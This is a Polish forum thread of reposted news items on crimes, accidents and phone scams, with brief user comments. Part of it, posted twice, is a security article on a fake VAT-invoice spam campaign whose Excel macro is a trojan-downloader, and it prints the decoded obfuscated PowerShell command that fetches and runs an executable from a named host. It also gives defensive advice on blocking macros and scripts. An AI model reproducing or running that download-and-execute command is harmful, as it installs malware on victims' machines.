Katastrofa cywilizacyjna w Polsce!

BRMTvonUngern

Pijany 13-latek zasnął na mrozie

Opinie (206) podziel się na Twitterze
26 lutego 2018, 11:15
Piotr Weltrowski
Wstępne ustalenia policji wskazują na to, że 13-latek pił z kolegami wódkę w parku w Brzeźnie.
Wstępne ustalenia policji wskazują na to, że 13-latek pił z kolegami wódkę w parku w Brzeźnie.
fot. galeria.trojmiasto.pl
Nieprzytomny leżał przy kilkunastostopniowym mrozie na przystanku autobusowym. 13-latek z Gdańska wypił wódkę, po czym zasnął, znaleziono go, gdy był już bardzo wyziębiony, a z ust leciała mu piana. Chłopak trafił do szpitala.

O opłakanych skutkach picia alkoholu w zimie, szczególnie na świeżym powietrzu, słyszy się stosunkowo często, w tym przypadku jednak sprawa jest zdecydowanie bardziej wstrząsająca, bo dotyczy 13-letniego dziecka.

Chłopaka znaleziono na jednym z przystanków w Brzeźnie w sobotę około godz. 17. Miał szczęście, bo przejeżdżał tamtędy akurat patrol drogówki i policjantów zaniepokoił widok nieprzytomnego dziecka.

- Kiedy policjanci podeszli do niego bliżej, wyczuli od niego wyraźną woń alkoholu, z ust leciała mu piana a jego ciało było wyziębione. Funkcjonariusze natychmiast udzielili chłopakowi pierwszej pomocy przedmedycznej, okryli go kurtkami, ułożyli w pozycji bocznej ustalonej oraz wezwali pogotowie - mówi Magdalena Ciska z gdańskiej drogówki.

W ratowaniu 13-latka pomagali też świadkowie, którzy również okryli go swoimi ubraniami.

13-latka zabrano do szpitala, okazało się tam, że ma on w organizmie 2,3 promila alkoholu. Co więcej, tylko włos dzielił go od prawdziwej tragedii. Kiedy zbadał go lekarz, jego ciało miało temperaturę 33 stopni Celsiusza. O wszystkim od razu powiadomiono jego rodziców.

W tej chwili policjanci ustalają, w jaki sposób 13-latek się upił. Wstępne ustalenia wskazują na to, że wcześniej pił wódkę w parku w Brzeźnie.

...

Horror.

BRMTvonUngern

Pijany funkcjonariusz SG próbował zabić 14-letnią córkę – grozi mu dożywocie
autor: Tomasz Kubaszewski
26.02.2018, 10:44, akt. 12:03

Funkcjonariusz Straży Granicznej z Suwałk próbował zamordować własną córkę. Najpierw zadawał jej ciosy nożem, potem dusił. 14-letniej dziewczynie udało się ujść z życiem, dzięki temu, że ojciec był pijany oraz dzięki interwencji policji.

...

Znow opetany.

BRMTvonUngern

Nie oddzwaniaj na egzotyczne numery. Pojawiło się nowe oszustwo

Oszuści znowu dzwonią z egzotycznych numerów. Schemat ten sam co przy #kubanskinumer. Jak zobaczycie na wyświetlaczu numery +675 XXX XXX - nie odbierajcie i nie oddzwaniajcie! To nie Wielkopolska, ale Papua Nowa Gwinea" - ostrzega na Twitterze rzecznik Orange Polska Wojciech Jabczyński.

...

Oszusci nie spia!

BRMTvonUngern

możliwy trojan bankowy!
Spam
PolskiEnglish
Do spamu można się przyzwyczaić. Ze spamem można się pogodzić. Ze spamem można walczyć na wiele sposobów. Niech Was jednak ręka Boska chroni przed otwieraniem w systemach produkcyjnych tego typu podejrzanych załączników. Nasi czytelnicy, którzy ciągle mają głowę na karku, postanowili podzielić się próbkami spamu, które docierają do ich firm lub do współpracujących z nimi klientów.

Tym razem do nadawców przesyłane są spersonalizowane wiadomości zawierające załączony plik XLS z nazwą odbiorcy. Wiadomość dostarczana jest ze serwera lokalnego o publicznym adresie IP „102.69.113.194” (Republika Mauritiusu) z adresu „sp-M.Ramotowski@poczta.onet.pl”.

Faktura VAT wiadomość

W załączniku znajdują się 3 pliki:

HTML
TXT
XLS o nazwie "VAT2018-02-NazwaOdbiorcy"
Plik HTML zawiera w języku polskim fałszywą informację tekstową o dostarczeniu faktury:

Witam!

W załączniku przesyłam Fakturę Vat, zostanie ona również wysłana do Państwa na adres pocztowy. Prosimy o uregulowanie płatności w terminie 14 dni od doręczenia faktury.

Pozdrawiam serdecznie

W tym konkretnym przypadku plik TXT jest pusty, ale najbardziej interesujący jest plik XLS, który zawiera instrukcję makrowirusa:

Faktura VAT spam

Zdekodowany kod VBA podpowiada, że mamy do czynienia ze szkodliwym oprogramowaniem typu trojan-downloader. Makro uruchamia proces cmd.exe, następnie powershell.exe i pobiera ze zdalnego hosta „formaversa.co” (IP 47.74.146.191 na porcie 443) szkodliwy plik temp.exe, który zapisywany jest w tymczasowej lokalizacji, po czym zostaje uruchomiony.

Zdekodowane polecenie:

cMd /c"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%localappdata%.exe'""
O pierwszych symptomach działania szkodnika poinformował nas Czytelnik, któremu dziękujemy za dostarczone informacje:

W każdym przypadku (Win 7, XP, Vista, ale nie wiem ilu bitowe) sprzęt zaliczył niebieski ekran i po chwili się wyłączył. Uruchomienie kończy się niepowodzeniem. Windows zatrzymuje się na boot loaderze. Na Win 7 nie można zalogować się na konta użytkowników, ponieważ profile są uszkodzone.

Na niektórych stacjonarkach mam AVASTA dla Biznesu. Tutaj arkusze kalkulacyjne uruchomiły się w zielonych ramkach i pecety zwolniły (analiza malware w piaskownicy, przyp. redakcji). Tam gdzie są Eset lub Kaspersky i dyski talerzowe, pad trwał kilka minut. W laptopach z SSD wiatrak CPU dawał czadu i samo wyłączenie systemu przebiegło o wiele sprawniej.

Po zalogowaniu się do jednego z komputerów przez VNC (stąd możliwe było zrobienie zrzutu ekranu) użytkownik otrzymał następujący komunikat o błędzie: „Logowanie usługi profilów użytkowników nie powiodło się”.

Uszkodzony profil

Z podobnym incydentem mieliśmy do czynienia w 2015 roku. Rosyjska firma antywirusowa Doctor Web przeanalizowała takiego samego szkodnika wykrywanego jako W97M.DownLoader.507, który okazał się podobnym downloader’em, ale pobierającym niebezpiecznego trojana bankowego Dyre. W tym przypadku ze zdalnego serwera ściągany jest plik wykonywalny „temp.exe” (analiza VT) przy wykorzystaniu interpretera PowerShell.

JAK SIĘ CHRONIĆ?

W tym wektorze ataku wykorzystywany jest protokół pocztowy, systemowe interpretery poleceń oraz złośliwy kod VBA. Rozpatrując opisywany przypadek kampanii spamu oraz wiele mu podobnych, po wdrożeniu kompleksowego zabezpieczenia hostów na poziomie bramy i serwera poczty wykorzystującego sygnatury DKIM, możliwe jest uzyskanie blokowania podobnych kampanii ze spamem ze skutecznością bliską 100 procent.

Alternatywne zabezpieczenia na poziomie hosta to:

- Od wersji MS Office 2010 dokument z makrami nie jest automatycznie uruchamiany. Zamiast tego wyświetlane jest powiadomienie o zablokowanej zawartości. Osoby obsługujące komputer muszą ręcznie aktywować makra, dlatego najlepiej (w środowiskach, w których jest to możliwe) całkowicie blokować możliwość ich uruchamiania. Stosowną instrukcję dla administratorów przygotował Microsoft.

- Posiłkując się oprogramowaniem bezpieczeństwa, warto zadbać o reguły odpowiadające za blokowanie uruchamianych plików z katalogów „%APPDATA%” i „%TEMP%”. W tych lokalizacjach najczęściej jest "upuszczane" szkodliwe oprogramowanie.

- Inną i bardzo skuteczną prewencyjną ochroną przed wirusami, które pobierają cokolwiek z sieci, jest blokowanie skryptów, które są uruchamiane przez systemowe procesy, takie jak: cmd.exe, powershell.exe, wscript.exe, csrcipt.exe, itp. Jeżeli jest to możliwe to najlepiej blokować wszystkie próby aktywności sieciowej skryptów i aplikacji obsługujących skrypty. Niektóre programy antywirusowe robią to domyślnie, a inne posiadają takie funkcjonalności w ustawieniach polityki bezpieczeństwa.

...

To jest zlo. Za to jest pieklo.

BRMTvonUngern

możliwy trojan bankowy!
Spam
PolskiEnglish
Do spamu można się przyzwyczaić. Ze spamem można się pogodzić. Ze spamem można walczyć na wiele sposobów. Niech Was jednak ręka Boska chroni przed otwieraniem w systemach produkcyjnych tego typu podejrzanych załączników. Nasi czytelnicy, którzy ciągle mają głowę na karku, postanowili podzielić się próbkami spamu, które docierają do ich firm lub do współpracujących z nimi klientów.

Tym razem do nadawców przesyłane są spersonalizowane wiadomości zawierające załączony plik XLS z nazwą odbiorcy. Wiadomość dostarczana jest ze serwera lokalnego o publicznym adresie IP „102.69.113.194” (Republika Mauritiusu) z adresu „sp-M.Ramotowski@poczta.onet.pl”.

Faktura VAT wiadomość

W załączniku znajdują się 3 pliki:

HTML
TXT
XLS o nazwie "VAT2018-02-NazwaOdbiorcy"
Plik HTML zawiera w języku polskim fałszywą informację tekstową o dostarczeniu faktury:

Witam!

W załączniku przesyłam Fakturę Vat, zostanie ona również wysłana do Państwa na adres pocztowy. Prosimy o uregulowanie płatności w terminie 14 dni od doręczenia faktury.

Pozdrawiam serdecznie

W tym konkretnym przypadku plik TXT jest pusty, ale najbardziej interesujący jest plik XLS, który zawiera instrukcję makrowirusa:

Faktura VAT spam

Zdekodowany kod VBA podpowiada, że mamy do czynienia ze szkodliwym oprogramowaniem typu trojan-downloader. Makro uruchamia proces cmd.exe, następnie powershell.exe i pobiera ze zdalnego hosta „formaversa.co” (IP 47.74.146.191 na porcie 443) szkodliwy plik temp.exe, który zapisywany jest w tymczasowej lokalizacji, po czym zostaje uruchomiony.

Zdekodowane polecenie:

cMd /c"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%localappdata%.exe'""
O pierwszych symptomach działania szkodnika poinformował nas Czytelnik, któremu dziękujemy za dostarczone informacje:

W każdym przypadku (Win 7, XP, Vista, ale nie wiem ilu bitowe) sprzęt zaliczył niebieski ekran i po chwili się wyłączył. Uruchomienie kończy się niepowodzeniem. Windows zatrzymuje się na boot loaderze. Na Win 7 nie można zalogować się na konta użytkowników, ponieważ profile są uszkodzone.

Na niektórych stacjonarkach mam AVASTA dla Biznesu. Tutaj arkusze kalkulacyjne uruchomiły się w zielonych ramkach i pecety zwolniły (analiza malware w piaskownicy, przyp. redakcji). Tam gdzie są Eset lub Kaspersky i dyski talerzowe, pad trwał kilka minut. W laptopach z SSD wiatrak CPU dawał czadu i samo wyłączenie systemu przebiegło o wiele sprawniej.

Po zalogowaniu się do jednego z komputerów przez VNC (stąd możliwe było zrobienie zrzutu ekranu) użytkownik otrzymał następujący komunikat o błędzie: „Logowanie usługi profilów użytkowników nie powiodło się”.

Uszkodzony profil

Z podobnym incydentem mieliśmy do czynienia w 2015 roku. Rosyjska firma antywirusowa Doctor Web przeanalizowała takiego samego szkodnika wykrywanego jako W97M.DownLoader.507, który okazał się podobnym downloader’em, ale pobierającym niebezpiecznego trojana bankowego Dyre. W tym przypadku ze zdalnego serwera ściągany jest plik wykonywalny „temp.exe” (analiza VT) przy wykorzystaniu interpretera PowerShell.

JAK SIĘ CHRONIĆ?

W tym wektorze ataku wykorzystywany jest protokół pocztowy, systemowe interpretery poleceń oraz złośliwy kod VBA. Rozpatrując opisywany przypadek kampanii spamu oraz wiele mu podobnych, po wdrożeniu kompleksowego zabezpieczenia hostów na poziomie bramy i serwera poczty wykorzystującego sygnatury DKIM, możliwe jest uzyskanie blokowania podobnych kampanii ze spamem ze skutecznością bliską 100 procent.

Alternatywne zabezpieczenia na poziomie hosta to:

- Od wersji MS Office 2010 dokument z makrami nie jest automatycznie uruchamiany. Zamiast tego wyświetlane jest powiadomienie o zablokowanej zawartości. Osoby obsługujące komputer muszą ręcznie aktywować makra, dlatego najlepiej (w środowiskach, w których jest to możliwe) całkowicie blokować możliwość ich uruchamiania. Stosowną instrukcję dla administratorów przygotował Microsoft.

- Posiłkując się oprogramowaniem bezpieczeństwa, warto zadbać o reguły odpowiadające za blokowanie uruchamianych plików z katalogów „%APPDATA%” i „%TEMP%”. W tych lokalizacjach najczęściej jest "upuszczane" szkodliwe oprogramowanie.

- Inną i bardzo skuteczną prewencyjną ochroną przed wirusami, które pobierają cokolwiek z sieci, jest blokowanie skryptów, które są uruchamiane przez systemowe procesy, takie jak: cmd.exe, powershell.exe, wscript.exe, csrcipt.exe, itp. Jeżeli jest to możliwe to najlepiej blokować wszystkie próby aktywności sieciowej skryptów i aplikacji obsługujących skrypty. Niektóre programy antywirusowe robią to domyślnie, a inne posiadają takie funkcjonalności w ustawieniach polityki bezpieczeństwa.

...

To jest zlo. Za to jest pieklo.

BRMTvonUngern · Wysłany: Sob 13:12, 03 Mar 2018 Temat postu:

Chciał rozmrozić rurę, wywołał pożar we własnym domu

Portal ciechanowinaczej.pl
02/03/2018
POŻARY CIECHANÓW

Dwa zastępy straży pożarnej interweniowały w związku z pożarem, który wybuchł w jednym z domów na terenie Ciechanowa. Okazało się, że do zdarzenia przyczynił się ... sam właściciel.

Wszystko wydarzyło się w czwartek (1 marca) około godz. 18:40 przy ul. Ułańskiej w Ciechanowie. Do pożaru doszło w drewnianym domu jednorodzinnym. Po dojeździe strażacy zastali ulatniający się dym z drewnianej ściany w kuchni. Okazało się, że ściana zapaliła się w momencie, kiedy właściciel budynku usiłował za pomocą opalarki rozmrozić rurę z wodą.

Strażacy podali prąd wody na tlącą się ścianę. Musieli też rozebrać jej część, żeby dotrzeć do zarzewi ognia, które dogaszono gaśnicą śniegową. Następnie całe pomieszczenie sprawdzono kamerą termowizyjną.

W zdarzeniu nikt nie ucierpiał. Nie było też potrzeby ewakuacji mieszkańców. Cała akcja trwała nieco ponad półtorej godziny.

.

Kolejny popis glupoty.

BRMTvonUngern · Wysłany: Sob 13:43, 03 Mar 2018 Temat postu:

Z Renault Maxity odpadły bliźniaki – jedno z kół trafiło w człowieka
Z Renault Maxity odpadły bliźniaki – jedno z kół trafiło w człowieka
Opublikowano: 2 marca 2018
Kategoria: Aktualności
Tagi: Renault Maxity, rybnik odpadły koła renault maxity, stan techniczny pojazdu, wypadki drogowe, Z Renault Maxity odpadły bliźniaki - jedno z kół trafiło w człowieka
W Rybniku doszło do nietypowego wypadku. Z Renault Maxity odpadły bliźniaki – jedno z kół trafiło w człowieka, a drugie uderzyło w miejski autobus.
Do tego niebezpiecznego zdarzenia doszło w czwartek 1 marca około 9:30 rano na ulicy Chwałowickiej w Rybniku. Z jadącego tamtędy skrzyniowego Renault Maxity, którym kierował 30-letni mężczyzna, odpadły bliźniacze koła.

Jedno z lewych tylnych kół uderzyło w nadjeżdżający z przeciwka autobus komunikacji miejskiej uszkadzając jego zderzak, a drugie trafiło w stojącego na pobliskim przystanku 86-latka.

Zobacz też: DEKRA 2018 – najmniej awaryjne samochody dostawcze

W wyniku uderzenia starszy mężczyzna doznał urazu głowy i przewieziony został do szpitala. W trakcie oględzin okazało się też, że nakrętka mocująca bliźniaki uszkodziła szybę osobowego Fiata.

Teraz policjanci z Komendy Miejskiej w Rybniku ustalają dokładny przebieg, a przede wszystkim przyczyny tego wypadku. Na razie potwierdzono tylko, że wszyscy uczestnicy zdarzenia byli trzeźwi.

No muszę przyznać, że okoliczności tego wypadku są dosyć nietypowe. No bo rozumiem, że jedna śruba była niedokręcona, ale żeby wszystkie „puściły”??

...

Co to jest? Pech niebywaly czy niechlustwo zwyczajne?

BRMTvonUngern · Wysłany: Sob 21:41, 03 Mar 2018 Temat postu:

Przeżyła horror, bała się iść na policję. "Rozebrana do naga, kłuta widelcami, ogolona na łyso"

Policja: znajomi od kieliszka stali się jej oprawcami. 38-letnia kobieta była nie tylko bita i poniżana, ale też siłą ogolona na łyso i rozebrana do naga. Ofiara uciekła po kilku godzinach horroru, ale na komendę nie poszła. O tym, co wydarzyło się w jednym z mieszkań w Piotrkowie Trybunalskim (woj. łódzkie), policjanci dowiedzieli się dzięki dzielnicowemu. Zwrócił on uwagę na fakt, że kobieta z "jego" rewiru ma ogoloną głowę i ślady pobicia na twarzy.

Dzielnicowy ustalił, że 38-letnia piotrkowianka była przetrzymywana i bita w mieszkaniu oprawców. Sama pokrzywdzona bała się powiadomić stróżów prawa - informuje aspirant Ilona Sidorko z piotrkowskiej komendy policji.

...

Ohyda. Za wódą stoi szatan. Brawo policjant!

BRMTvonUngern · Wysłany: Nie 20:00, 04 Mar 2018 Temat postu:

Na dworcu autobusowym we Wrocławiu działa tylko jedna toaleta
Przemek Gałecki, GN | Utworzono: 2018-03-04 15:32 | Zmodyfikowano: 2018-03-04 15:40 A|A|A

fot. Przemek Gałecki
Pozostałe zostały zdewastowane i czekają na remont. I to, według relacji pasażerów i naszych Słuchaczy, od około 3 tygodni.
Tym tematem zajęliśmy się po informacji od naszych Słuchaczy. Na otwartym w ubiegłym roku dworcu autobusowym we Wrocławiu działa tylko jedna toaleta - damska. Pozostałe, według relacji Słuchaczy i pasażerów, są zamknięte od około 3 tygodni.

"Toaleta jest zamknięta z uwagi na zdewastowanie jej przez użytkowników" czytamy na drzwiach.

..

Tak kurturarny mamy lud.

BRMTvonUngern · Wysłany: Pon 20:19, 05 Mar 2018 Temat postu:

Zostawiła dziecko w aucie na mrozie i poszła na zakupy. Interwencja w centrum Olsztyna

2018-03-05 11:45:19 (OST. AKT: 2018-03-05 12:54:12)
Zdjęcie jest tylko ilustracją do tekstuZdjęcie jest tylko ilustracją do tekstuAutor zdjęcia: Arch. GO
Podziel się:
Nie wiadomo, ile czasu w samochodzie spędziło dziecko, którego matka poszła na zakupy. Losem dwulatka zainteresowały się przypadkowe osoby, które poinformowały służby. — Chcieliśmy zwrócić uwagę, że nie można być obojętnym w takiej sytuacji — mówi pan Piotr, który poinformował nas o zdarzeniu.

Nasz czytelnik wraz z narzeczoną wybrał się na zakupy do jednego z olsztyńskich supermarketów. — Podczas parkowania w stojącym obok samochodzie zauważyliśmy pozostawione samo około 2-letnie dziecko. Niezwłocznie poinformowaliśmy odpowiednie służby — pisze pan Piotr. — Po 5 minutach od zgłoszenia szanowna mama wróciła z zakupów. Nie wiemy, ile czasu dziecko spędziło w samochodzie przed naszym przyjazdem.

Operator nr 112 wysłał na miejsce patrol policji. — Interwencja na szczęście nie zakończyła się tylko upomnieniem. Chciałem podkreślić pełen profesjonalizm przybyłych policjantów, którzy nie zbagatelizowali sytuacji.
— Policjanci sporządzili stosowną dokumentację, by matka dziecka za swoje zachowanie odpowiedziała przed sądem — informuje Izabela Kołpakowska z KMP w Olsztynie.

Policjanci apelują, by nigdy nie przechodzić obojętnie obok potrzebujących i alarmować służby za każdym razem, gdy widzimy, że ktoś jest narażony na wychłodzenie organizmu.

..

Kompletny brak wyobrazni.

BRMTvonUngern · Wysłany: Wto 20:03, 06 Mar 2018 Temat postu:

Zboczeniec molestujacy ciezarna!

Jak relacjonuje kobieta, mechanik miał także ją dotykać, także w miejscach intymnych. - To było jawne molestowanie! - twierdzi pani Sylwia (imię zmienione na jej życzenie), która sprawę zgłosiła do kuratorium oświaty, starostwa powiatowego i dyrekcji szkoły. Sprawą zajęła się już także prokuratura.

Pani Sylwia mieszka na granicy powiatów kutnowskiego i gostynińskiego. Kobieta jest w szóstym miesiącu ciąży. 15 lutego wybierała do lekarza do Łodzi. Wcześniej jednak musiała naprawić zbieżność w swoim samochodzie. Pojechała do stacji diagnostycznej znajdującej się przy Zespole Szkół Ponadgimnazjalnych nr 1 w Łęczycy. Tam rozegrać się miały sceny, które na długo pozostaną w pamięci kobiety...

...

Kobiete w ciazy na dodatek ! Zboczeniec!

BRMTvonUngern · Wysłany: Śro 13:00, 07 Mar 2018 Temat postu:

Skrępował i zakneblował byłą partnerkę oraz 10-letnią córkę. Dręczył ofiary przez wiele godzin

60

Związał, zakneblował oraz przez kilka godzin więził swoją byłą partnerkę oraz 10-letnią córkę. Groził pozbawieniem życia. Na szczęście udało im się odzyskać wolność i powiadomić o wszystkim policję.

Wszystko wydarzyło się w miniony czwartek w Hrubieszowie. Jarosław C. miał tego dnia spotkanie ze swoją 10-letnią córką. Związek z jej matką się rozpadł, gdyż pomiędzy mężczyzną, a jego partnerką od dłuższego czasu się nie układało. W końcu kobieta postanowiła nie przeciągać na siłę tego związku. Rozstali się, a z biegiem czasu związała się ona z innym mężczyzną.

Jarosław C. nie mógł się z tym faktem pogodzić i niejednokrotnie nachodził 45-latkę. Straszył ją, kierował groźby, do tego potrafił ją śledzić, sprawdzał gdzie chodzi i z kim się spotyka. Ze względu na 10-letnią córkę, jego była partnerka musiała utrzymywać z nim kontakt.

Feralnego dnia przyszła odebrać 10-latkę od jej ojca. Ten po otworzeniu drzwi złapał kobietę i siłą wciągnął do środka. Zaczął dusić 45-latkę, po czym przy użyciu kajdanek skrępował jej ręce. Kiedy kobieta zaczęła krzyczeć wzywając pomocy, 43-latek zakleił jej usta taśmą, następnie związał kobietę. To samo uczynił ze swoją córką.

Wtedy zaczął się koszmar zarówno dla kobiety, jak i 10-latki. Mężczyzna ułożył obie w rożnych pomieszczeniach i przez kilka godzin terroryzował. Przechodził od pokoju do pokoju z nożem w ręku, groził pozbawieniem życia. Zarówno matka nie wiedziała co się dzieje z córką, jak też dziewczynka nie miała wiedzy, czy ojciec nie zabił jej matki.

W końcu 45-latce udało się przekonać mężczyznę, aby je obie uwolnił. Kobieta od razu udała się na policję, gdzie opowiedziała, co je spotkało. Funkcjonariusze szybko zatrzymali mężczyznę. Po przesłuchaniu przedstawiono mu zarzuty, jednak nie przyznał się on do uwięzienia kobiety i jej córki. Na wniosek prokuratury Jarosław C. trafił do aresztu.

..

Konkubinaty.

BRMTvonUngern · Wysłany: Czw 9:31, 08 Mar 2018 Temat postu:

Dzwonił ktoś do Ciebie z numeru +53? Nie oddzwaniaj!

Ktoś wykonuje masowe połączenia na numery telefonów Polaków. Dzwoni z numerów przypominających polskie numery telefonów komórkowych kojarzące się z Orange, ale tak naprawdę są to numery ze strefy numeracyjnej Kuby. Oddzwonienie na taki numer to koszt nawet kilkudziesięciu złotych!

...

Uwaga!

BRMTvonUngern · Wysłany: Czw 23:54, 08 Mar 2018 Temat postu:

Mężczyzna umierał w autobusie, pasażerowie przechodzili obok. Mieli pretensję, że dalej nie pojadą

Dramatyczne i zarazem bulwersujące zdarzenie miało miejsce dzisiaj rano w jednym z autobusów komunikacji miejskiej w Lublinie. Kiedy czwórka pasażerów prowadziła akcję reanimacyjną mężczyzny, inni mieli pretensję, że autobus nie pojedzie dalej, a zastępczy nie zostanie im podstawiony.

W czwartek skontaktowały się z nami dwie osoby, zbulwersowane zdarzeniem, jakie miało miejsce rano w jednym z pojazdów komunikacji miejskiej. Mianowicie w jadącym w kierunku Elizówki autobusie linii nr 4, starszy mężczyzna źle się poczuł. Po chwili bezwładnie zsunął się z siedzenia.

W autobusie znajdowało się sporo pasażerów. Większość z nich nie zareagowała na fakt, że mężczyzna stracił przytomność. Gdy pojazd zatrzymał się koło giełdy, zaczęli wysiadać, nie interesując się jego losem.

– Przy giełdzie wysiadło około 20-30 osób, nikt nie zareagował, że znajdująca się obok osoba, wymaga natychmiastowej pomocy. Dopiero jakieś dziecko podeszło i powiedziało, że tam umarł jakiś pan. Rzuciłem wszystko i od razu ruszyłem na pomoc. Przyłączyły się trzy młode dziewczyny. Okazało się, że mężczyzna nie daje oznak życia. Zadzwoniliśmy na pogotowie, kobieta która odebrała telefon, poinstruowała nas, co mamy robić, aby pomóc mężczyźnie – wyjaśniał nam świadek zdarzenia.

W czwórkę rozpoczęli resuscytację krążeniowo – oddechową. Prowadzili ją kilkanaście minut. W końcu dotarli ratownicy medyczni, którzy zajęli się poszkodowanym.

– Najbardziej boli mnie to, że pozostali tylko stali i patrzyli. Prosiłem, żeby ktoś zmienił dziewczyny w wykonywaniu masażu serca, jednak bez rezultatu. Nie dość, że nie pomogli, to jeszcze mieli pretensję, że dalej nie pojadą. Dzwonili chyba do przewoźnika, z pytaniem, kiedy zostanie im podstawiony drugi autobus, aby mogli kontynuować podróż. Mieli pretensję, że muszą iść pieszo ten jeden przystanek. Nie pomógł nam nawet kierowca. Stał z rękami w kieszeni i tylko gdzieś dzwonił – dodaje nasz czytelnik.

Jak poinformował nas st. sierż. Kamil Karbowniczek z Komendy Wojewódzkiej Policji w Lublinie, ostatecznie życie mężczyzny udało się uratować. Po przywróceniu funkcji życiowych, został on przetransportowany do szpitala.

..

Wspaniali ludzie po prostu.

BRMTvonUngern · Wysłany: Pią 12:01, 09 Mar 2018 Temat postu:

Bulwersująca kartka za wycieraczką karetki. "To nie parking"

"Taka niespodzianka od społeczeństwa, podczas wizyty u pacjentki z dusznością. Staliśmy na bocznej uliczce, nie dla przyjemności!!" - czytamy w poście jednego z ratowników na Facebooku. W czasie, gdy udzielali oni pomocy, ktoś włożył za wycieraczkę karetki kartkę z napisem "to nie parking!!!"

...

Radacy pomagajo ratownikom.

BRMTvonUngern · Wysłany: Sob 12:44, 10 Mar 2018 Temat postu:

Tragedia na drodze. 15-letni kierowca zginął na miejscu

Do wypadku doszło w rejonie miejscowości Stypułki - Borki niedaleko Białegostoku. Ze wstępnych informacji wynika, że samochodem jechali 15-latkowie. Kierujący zjechał w drogi i wpadł do rowu z wodą.
...

15 letni!

BRMTvonUngern · Wysłany: Sob 20:19, 10 Mar 2018 Temat postu:

Makabryczny wypadek na DK 6. Cztery osoby zginęły!

W sobotę krótko przed godziną 8. na drodze krajowej nr 6 między Koszalinem a Płotami w Skrzydłowo doszło do tragicznego w skutkach wypadku.

..

Faktycznie koszmar.

BRMTvonUngern · Wysłany: Pon 0:22, 12 Mar 2018 Temat postu:

11 osób zaraziło się żółtaczką na balu karnawałowym w Bydgoszczy
...
Pijany kierowca potrącił mężczyznę i uciekł. Pieszy zmarł

Policjanci zatrzymali 36-latka, podejrzewanego o potrącenie pieszego. Mężczyzna był nietrzeźwy. Miał ponad 2 promile alkoholu w organizmie. – Zatrzymaliśmy również trzy inne osoby, które były wraz z nim na miejscu

...

Kolejne koszmary.

BRMTvonUngern · Wysłany: Wto 10:59, 13 Mar 2018 Temat postu:

Skrajna nieodpowiedzialność doprowadziła do zarwania lodu na jeziorze, po którym jeździł mężczyzna na rowerze
Marzec 12, 2018 admin 0 Comments bezpieczeństwo, Wielkopolska, Wielkopolska Straż Pożarna, wypadek
6
SHARES
Share
Tweet
11 marca 2018 r. w godzinach popołudniowych zarwał się lód pod mężczyzną poruszającym się rowerem po jeziorze słupeckim w miejscowości Róża.

Dyżurny stanowiska kierowania komendanta powiatowego PSP w Słupcy wysłał niezwłocznie na miejsce 4 zastępy straży pożarnej wyposażone w sprzęt do ratownictwa lodowego. Jednocześnie została zadysponowana specjalistyczna grupa ratownictwa wodno-nurkowego z Konina. Po dojeździe na miejsce okazało się, że mężczyzna jest przytomny i znajduje się w wodzie, jest bardzo przemęczony i ostatkami sił trzyma się lodu. Ratownicy z Jednostki Ratowniczo Gaśniczej w Słupcy przy wykorzystaniu sań lodowych, bardzo szybko dotarli do osoby znajdującej się w wodzie i podjęli ją na sanie lodowe. Następnie ściągnięto osobę poszkodowaną na brzeg udzielając jej kwalifikowanej pierwszej pomocy. Będący już na miejscu zespół ratownictwa medycznego zbadał mężczyznę, a następnie odwiózł go do domu. W dalszej części działań strażacy wydobyli jeszcze z wody rower i torbę mężczyzny.

Nie wiadomo dlaczego wszedł on, na niepewną przy dodatnich już temperaturach taflę lodu.

Trzeba wiedzieć, że przy takiej pogodzie jaka panowała w niedzielne popołudnie była to z jego strony skrajna nieodpowiedzialność i igranie ze śmiercią. Na szczęście strażacy dotarli do niego na czas i udało się go uratować.

Opracował: st. sekc. Marcin Nachowiak; Zdjęcie: KP PSP Słupca

...

Matko ale glupek. Przeciez juz potrafi by plus 15 temperatury!

BRMTvonUngern · Wysłany: Wto 11:11, 13 Mar 2018 Temat postu:

Starsi ludzie musieli wchodzić do domu oknem

Dwoje starszych ludzi musiało wchodzić do domu oknem. Twierdzą, że ich życie zamieniło się w gehennę, po tym, jak sprzedany został dom, w którym mają prawo pozostać do śmierci. Czy da się coś zrobić w tej sprawie, bo serce się kraje, że starsi ludzie muszą żyć w takich warunkach?

...

Rodacy rodakom..

BRMTvonUngern · Wysłany: Wto 21:07, 13 Mar 2018 Temat postu:

Sąsiad, na którego nie ma mocnych. Nawet jeśli z mieszkania robi melinę.

Pani Grażyna dzieli korytarz i toaletę z sąsiadem, który urządza libacje. - Od dziesięciu lat sąsiad robi co mu się żywnie podoba i nikt nie może z tym nic zrobić. Przez 5 lat znosiłam tę sytuację, ale od kolejnych 5 próbuję coś zdziałać - opowiada pani Grażyna

...

Jak u Ruskich.

BRMTvonUngern · Wysłany: Śro 21:15, 14 Mar 2018 Temat postu:

Areszt dla podejrzanych o zbiorowy gwałt na młodej kobiecie

Do 15 lat więzienia grozi dwóm mężczyznom podejrzanym o zgwałcenie 18-letniej kobiety. Do zdarzenia doszło w jednej z miejscowości w powiecie polkowickim na Dolnym Śląsku. Podejrzani decyzją sądu zostali aresztowani na trzy miesiące.

...

Mąż podciął żonie żyły? Dramat w Lubelskiem.

Policjanci w jednym z domów w miejscowości Kamionka znaleźli zakrwawione zwłoki kobiety. W domu był również jej 68-letni mąż. Kobieta od lat chorowała na stwardnienie rozsiane. Poruszała się na wózku inwalidzkim. Miała podcięte żyły. Śledczy podejrzewają, że śmiertelne rany zadał jej mąż.

...

Kolejne horrory.

BRMTvonUngern · Wysłany: Czw 12:04, 15 Mar 2018 Temat postu:

KĘPNO: Uczennica pobita na długiej przerwie lekcyjnej! [+18]
09:25, dzisiaj, 15 marca

Tweet
